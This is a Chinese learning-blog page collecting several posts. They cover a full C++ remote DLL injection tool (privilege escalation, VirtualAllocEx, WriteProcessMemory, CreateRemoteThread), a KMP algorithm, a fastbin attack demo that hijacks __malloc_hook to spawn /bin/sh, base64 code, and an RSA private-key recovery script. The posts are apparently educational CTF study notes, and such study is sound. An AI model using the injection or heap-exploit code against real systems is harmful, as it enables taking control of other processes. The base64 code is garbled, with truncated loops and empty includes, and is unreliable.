分类 Learning 下的文章

没想到入坑WIN32居然是从这个地方,由于对WIN32不太了解,所以摸索起来比较困难。sad师傅推荐了《windows核心编程》这本书,个人感觉还是挺好的,就是得耐下心多读读才能领会。

0x00 Win下进程的内存结构

程序在运行时会把自身的二进制文件加入到内存中,其中相关的函数、变量等都会在内存中对应固定的地址。但是程序功能一般不会仅靠单独一个二进制文件实现,有时还需要调用系统提供的API来进行一些操作。而这通常是靠引用预先集成了许多函数的DLL(动态链接库)文件,并调用其中的函数来实现。由于DLL不包含在程序的二进制文件中,所以需要在运行的时候由操作系统加入到进程的内存空间中。

那么如果我们能够编写一个工具,实现将我们自己编写的DLL注入到另一个不同的进程的内存空间中,就相当于有了间接控制这个进程的能力。(在此处只讨论如何注入)

0x01 几个要用到的win32 API

进程相关

  • OpenProcess 获得要注入进程的句柄
  • VirtualAllocEx在远程进程中开辟出一段内存
  • WriteProcessMemory将Dll的名字写入第二步开辟出的内存中
  • CreateRemoteThreadLoadLibraryA作为线程函数,参数为Dll的名称,创建新线程
  • CloseHandle关闭线程句柄

权限相关

  • OpenProcessToken打开进程令牌
  • LookupPrivilegeValue
  • AdjustTokenPrivileges

具体参数可以百度或者谷歌搜索,也可以参考sad师傅的博客关于这些API的介绍:

https://www.jianshu.com/p/044931d7e4d6

0x02 思路

  1. 提升进程权限(非必须)
  2. 利用进程PID获得目标进程的句柄
  3. 在目标进程中开辟出一段内存写入需要调用的DLL的路径(因为后续步骤加载DLL时所用的参数需要在同一内存空间中)
  4. 获得 LoadLibraryA 在目标进程中的地址(通常在所有进程中是一样的),利用 LoadLibraryA 作为线程函数,DLL路径地址作为参数,在目标进程中创建一个线程用来加载DLL
  5. 完成注入后关闭相关句柄

0x03 代码实现

进程提权

int EnableDebugPriv(const char* name)
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    //打开进程令牌环
    //GetCurrentProcess()获取当前进程句柄
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
    //获得进程本地唯一ID
    LookupPrivilegeValue(NULL, (LPCWSTR)name, &luid);
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    tp.Privileges[0].Luid = luid;
    //调整权限
    int ret = AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
    return ret;
}

DLL注入

int remoteInjection(const DWORD PID) {
    HANDLE hRemoteProcess;
    HANDLE hRemoteThread;
    char* pszLibFileRemote;

    printf("DEFAULT DLL PATH: %s\n", DLLname);

    if (!EnableDebugPriv((const char*)SE_DEBUG_NAME)) {
        cout << "* FAIL TO: Get SEDEBUG privilege" << endl;
        return 0;
    }
    else {
        cout << "* SUCCESS TO: Get SEDEBUG privilege" << endl;
    }
/*拿到目标进程句柄*/
    hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, false, PID);
    if (hRemoteProcess) {
        cout << "* SUCCESS TO: Open process" << endl;
        cout << "Got Handle: " << hRemoteProcess << endl;
    }
    else {
        cout << "* FAIL TO: Open process" << endl;
        return 0;
    }
/*开辟一段内存*/
    pszLibFileRemote = (char *)VirtualAllocEx(hRemoteProcess, NULL, strlen(DLLname) + 10, MEM_COMMIT, PAGE_READWRITE);
    if (pszLibFileRemote) {
        cout << "* SUCCESS TO: Allocate remote memory space" << endl;
        printf("Remote addr: 0x%p\n", (long long)pszLibFileRemote);
    }
    else {
        cout << "* FAIL TO: Allocate remote memory space" << endl;
        return 0;
    }
/*写入DLL路径到目标进程*/
    if (WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (void *)DLLname, strlen(DLLname) + 10, NULL)) {
        cout << "* SUCCESS TO: Write memory" << endl;
    }
    else {
        cout << "* FAIL TO: Write memory" << endl;
        return 0;
    }
    //PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)LoadLibraryA;
/*获得LoadLibraryA函数的地址*/
    PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32"), "LoadLibraryA");
    if (pfnStartAddr == NULL) {
        cout << "* FAIL TO: Get LoadLibraryA() addr" << endl;
        return 0;
    }
    else
    {
        cout << "* SUCCESS TO: Get LoadLibraryA() addr" << endl;
        printf("LoadLibraryA addr: 0x%p\n", (long long)pfnStartAddr);
    }
/*在目标进程中创建线程加载DLL*/
    hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
    //在这一步注入了自己创建的DLL
    if (hRemoteThread) {
        cout << "* SUCCESS TO: Create remote thread" << endl;
    }
    else {
        cout << "* FILE TO: Create remote thread" << endl;
        return 0;
    }
/*等待线程结束*/
    WaitForSingleObject(hRemoteThread, INFINITE);
/*关闭句柄*/
    CloseHandle(hRemoteProcess);
    CloseHandle(hRemoteThread);
    return 1;
}

完整项目源码

github: https://github.com/yikesoftware/Remote_DLL_Injection

本项目在vs2019下编写

项目提供了:

  • 用于注入的程序源码
  • 带有注入成功弹窗提示的测试用DLL源码
  • 被注入的测试程序源码

注意

部分受保护进程可能会出现注入失败

算是一个比较简单的算法吧,主要思想就是空间换时间。挺早之前在知乎上看到一篇文章写的不错,看懂了个大概,但是还没写过。于是趁有时间(偷懒)写了个简单的例子,备忘。

https://www.zhihu.com/question/21923021/answer/1032665486

算法图示

预处理模式串,计算失配后的会退位置

code

#include<cstdio>
#include<cstring>
#include<iostream>

#define MANLEN 1024

char txt[MANLEN];
char pat[MANLEN];
int next[MANLEN];

void Getnext(const char *raw){
    int len = strlen(raw);
    int x = 1; //遍历pattern串与now作比较
    int now = 0; //永远指向当前最长前缀的下一位
    next[0] = 0; 
    while(x<len){
        if( raw[x] == raw[now]){
            now++;
            next[x++]=now;
        }
        else
            if(now)
                now=next[now-1];
            else{
                next[x]=0;
                x++;
            }
    }
    puts("next: ");
    for(int i=0;i<len;i++)
        printf("%d ",next[i]);
    puts("\n-----------");
}

void KMP(const char *txt,const char *pat){
    int N=strlen(txt);
    int M=strlen(pat);
    printf("txt_len:%d  pat_len:%d\n",N,M);
    for(int i=0,j=0;i<N;i++){ //在这个算法中,一定不会出现重复比较
        if(txt[i]==pat[j]){
            j++;
            if(j==M){ //发现完配串,输出位置(主串绝对位置-模式串偏移)
                printf("index: %d\n",i+1-j);
                j=0;
            }
        }
        else
            j=next[j]; //失配时把j移到最长重复前缀的下一位
    }
}

int main(int argc,char *argv[]){
    puts("txt:");
    scanf("%s",txt);
    puts("pat:");
    scanf("%s",pat);
    Getnext(pat);
    KMP(txt,pat);
    return 0;
}

如果有漏洞或者什么值得优化的地方欢迎指正!

在Arbitrary Alloc 的学习中,不可避免的一种用法就是通过字节偏移伪造size域绕过malloc的检测从而在__malloc_hook处伪造一个chunk,达到任意写的目的。

参考资料:https://wiki.x10sec.org/pwn/heap/fastbin_attack/

__malloc_hook的作用

__malloc_hook是glibc中的一个函数指针变量,它的原型如下:

/*第一个同malloc的size参数,第二个参数是调用malloc的那个函数的地址*/
void * function(size_t size, void * caller)

可见其实__malloc_hook相当于给malloc函数套了一层外壳,当这个函数指针的值不为NULL时,系统在调用malloc是就会触发这个hook,执行hook所指向的函数。合理构造该函数就可以达到自定义malloc的行为,捕获甚至控制返回值。于是我们想到通过之前的uaf和fastbin相关的知识,把堆块构造到该处便可以修改hook函数为自定义位置的函数,达到getshell的目的。

类似的还有__free_hook, __realloc_hook 等,原理大同小异

分析构造思路

为了试验方便,首先关闭Linux系统的ASLR功能。

以下部分步骤由于系统差异可能稍有不同,所以只讲大概思路

1. objdump查看系统对应版本glibc中__malloc_hook的偏移量

$ objdump libc.so.6 -D -M intel | grep __malloc_hook
...
00000000003c4b10 <__malloc_hook@@GLIBC_2.2.5>:

得到偏移 0x3c4b10,加上当前系统glibc加载时的基址 0x00007ffff7a0d000 推算出程序运行时其在内存中的位置为 0x00007ffff7dd1b10

2. gdb调试寻找合适的字节

利用uaf的方法,构造已经释放的fastchunk的fd域,从而在fastbin中伪造出一个chunk,通过malloc便可以修改该chunk内容。那么关键就在于,需要在__malloc_hook附近找到一个合适的字节,能构造成一个在fastbin范围内(64位:0x20 ~ 0x80)且包含了要控制的部分在内的size域。

随便写一个程序(因为要在动态环境下分析glibc的变量),在gdb中查看刚刚算出来的__malloc_hook附近的字节:

0x7ffff7dd1ae0 <_IO_wide_data_0+288>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7ffff7dd1ae8 <_IO_wide_data_0+296>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7ffff7dd1af0 <_IO_wide_data_0+304>:	0x60	0x02	0xdd	0xf7	0xff	0x7f	0x00	0x00
0x7ffff7dd1af8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7ffff7dd1b00 <__memalign_hook>:	0x20	0x2e	0xa9	0xf7	0xff	0x7f	0x00	0x00
0x7ffff7dd1b08 <__realloc_hook>:	0x00	0x2a	0xa9	0xf7	0xff	0x7f	0x00	0x00
0x7ffff7dd1b10 <__malloc_hook>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7ffff7dd1b18:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7ffff7dd1b20 <main_arena>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00

观察发现,在0x7ffff7dd1af5的位置可以构造出0x000000000000007fL,而由计算fastbin_index的宏:

##define fastbin_index(sz)                                                      \
    ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

可以知道若用这个字节构造chunk,对应的应该是size为0x70的chunk(此处指整个chunk的大小),于是我们uaf应该在0x70的fastbin上进行。

至此可以得出思路:修改已知chunk的fd域到该字节位置 -> 通过malloc或者__malloc_hook处伪造的chunk -> 然后计算好偏移,修改__malloc__hook的值到我们预先安排好的backdoor的地址 -> 运行&getshell

3. 编写一个demo检验一下

#include<stdio.h>
#include<stdlib.h>
#include<sys/types.h>
/*backdoor function*/
void getshell(void){
    system("/bin/sh");
}

int main(void)
{
    void *chunk1;
    void *chunk_a;
    long long * malloc_hook;

    chunk1=malloc(0x60);
    printf("chunk_1 : %p\n",chunk1);
    free(chunk1);
    puts("Create fastbin.");

    /*修改fd域*/
    *(long long *)chunk1=0x7ffff7dd1af5-0x8;
    malloc(0x60);
    chunk_a=malloc(0x60);
    printf("chunk_a : %p\n",chunk_a);

    /*通过偏移计算出__malloc_hook的位置并修改至getshell函数*/
    malloc_hook=(long long *)((long long)chunk_a+0x13);
    *malloc_hook=0x400646L;
    printf("__malloc_hook_value : %lld\n",*malloc_hook);
    
    /*再次malloc触发钩子*/
    malloc(60);
    return 0;
}

总结

该篇简单介绍了__malloc_hook的利用方式,其中最关键的是偏移的计算,需要一定的耐心和细心。

谢谢阅读,欢迎评论指正!

0x00 base64的原理

编码方式

计算机储存数据以字节为单位,一个位有八个字节,比如“abc”字符串,这是底层的数据结构

a               b              c
01100001     01100010       01100011

三个字符对应3×8=24个位,同时24可以看成6×4的积,故把三个字节组合后,以六个字节为一组分割可以分割出4组,但是为了符合计算机的储存结构,每组空出来的两个高位要补上0。

00011000    00010110    00001001    00100011

同时,新的四个字节每个可以表示一个整数,如果将这些整数映射到一张特定的码表上,便会得到一个新的字符串。例如这是标准base64的码表:

由于base64有效位只有6位,意味着最大可以表示64个元素,故码表为0至63

那么刚刚新的四个字节就被表示成了:

Y(24)      W(22)      J(9)      j(35)

于是一串base64码就出来了:abc->YWJj

假如加密内容长度不是3的倍数怎么办?

我们可以通过补全字节的方法用0补全字节数到3的倍数,然后在base64码后用‘=’表明补全字节的数量。例如“abcd”字符串:

a               b              c            d        
01100001     01100010       01100011     01100100

00011000(Y)    00010110(W)    00001001(J)    00100011(j)    00011001(Z)     00000000(A)     00000000(A)    00000000(A)
//最后两个A要替换为=,因为转换后具有有效信息的只是前6个字节

得到base64码YWJjZA==

代码实现

利用3变4,不够3补为3的逻辑,我们可以利用C语言以三个字节为一组利用位运算符进行base64转换(个人认为三个字节一组循环处理是最高效的)

这是编码部分的C程序,标明了一些细节:

void base64_encode(char *src,char *result){
    int fill_bit=0;
    int data_length;
    int result_length;
    int index;
    bool full=true;
    data_length=strlen(src);
    //printf("length:%d\n",data_length);
    fill_bit=((3-strlen(src)%3)%3); //计算未满字节,注意除去3的情况
    for(int k=0;k>2;
        result[j++]=table[index];
        index=((src[i]&3)<<4)+(src[i+1]>>4);
        result[j++]=table[index];
        index=((src[i+1]&15)<<2)+(src[i+2]>>6);
        result[j++]=table[index];
        index=(src[i+2]&63);
        result[j++]=table[index];
        //<< >> 运算符的优先级低于+ -,注意加括号
    }
    result_length=strlen(result);
    for(int k=0;k

解码方式

按照上面的思维,很容易想到只要把=替换为A并且把4个字节合并为3个字节即可还原出原码。不过这里有个容易搞错的东西,解码时每个字符字节对应的二进制数据并不是这个字符的ASCII码,而是这个字符在码表中的下标。(在这里出了bug卡了一下,所以有点印象)

下面是C的实现方法:

int findchr(char *array,char ch){
    for(int i=0;i

void base64_decode(char *src,char *result){
    int base_len;
    int j=0;
    base_len=strlen(src);
    //printf("length:%d\n",base_len);
    for(int i=0;i>4);
        result[j++]=(findchr(table,src[i+1])<<4)+(findchr(table,src[i+2])>>2);
        result[j++]=((findchr(table,src[i+2])&3)<<6)+(findchr(table,src[i+3]));
        //注意编码是table对应的编码,不是原来的ascii码
        //按位运算符优先级低于位移运算符,注意括号
    }
}

0x01 base64的延伸

传输图片

有时候可以把图片的数据用base64编码,达到利于传输的目的

变种

很多二进制表通过对码表等进行加密或者位移的方法进行混淆,特别是用标准码表翻译出乱码时要留意这点

base64在逆向题中的特征

  • 通常会在strings视图中出现明显的码表或者一些base64码(其它base加密同理)
  • 通常decode的函数会有定长的循环同时带有很多位运算和指针操作啥的,利用这点可以快速锁定关键函数
  • 使用位移运算写的算法通常会带有有几个关键的整数,比如:4,2,6,15,63啥的,反正就是位运算涉及到的常数,可以用来作为关键函数的标志

0x02 完整源码

水平有限,欢迎指正!

#include
#include
#include
#include

char table[65]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
char padding_char='=';

int findchr(char *array,char ch){
    for(int i=0;i>2;
        result[j++]=table[index];
        index=((src[i]&3)<<4)+(src[i+1]>>4);
        result[j++]=table[index];
        index=((src[i+1]&15)<<2)+(src[i+2]>>6);
        result[j++]=table[index];
        index=(src[i+2]&63);
        result[j++]=table[index];
        //<< >> 运算符的优先级低于+ -,注意加括号
    }
    result_length=strlen(result);
    for(int k=0;k>4);
        result[j++]=(findchr(table,src[i+1])<<4)+(findchr(table,src[i+2])>>2);
        result[j++]=((findchr(table,src[i+2])&3)<<6)+(findchr(table,src[i+3]));
        //注意编码是table对应的编码,不是原来的ascii码
        //按位运算符优先级低于位移运算符,注意括号
    }
}

int main(){
    char words[100]="abc";
    char en_words[100]="";
    char de_words[100]="";
    base64_encode(words,en_words);
    printf("encode:%s\n",en_words);
    base64_decode(en_words,de_words);
    printf("decode:%s\n",de_words);
    return 0;
}

脚本

使用Crypto库需要py2环境,更高版本用的是另外一个库(自行百度,懒):

pq可以尝试通过在线大整数分解网站求出
import math
import sys
from Crypto.PublicKey import RSA

keypair = RSA.generate(1024)
keypair.p = 440140550843727826962832356360132665339
keypair.q = 420226057252427765877741059207519510621
keypair.e = 65537

keypair.n = keypair.p * keypair.q  
Qn = long((keypair.p-1) * (keypair.q-1)) 

i = 1
while (True):
    x = (Qn * i ) + 1
    if (x % keypair.e == 0):
        keypair.d = x / keypair.e  # get d
        break
    i += 1

private = open('private.pem','w') 
private.write(keypair.exportKey()) 
private.close()

原理

  1. 由于N=p*q,分解出pq后极容易求得phi(N) = (p-1)*(q-1)
  2. 由于c = m^em = c^d,所以可以尝试从ed的关系下手,而e,d满足条件e*d ≡ 1(mod phi(N))e*d = 1 + k*phi(N)
  3. 由上面的关系式可以知道,只要从1到∞遍历k,代入到1 + k*phi(N),找到模上e后结果为0(整除)的那一项,即可得到正确的d!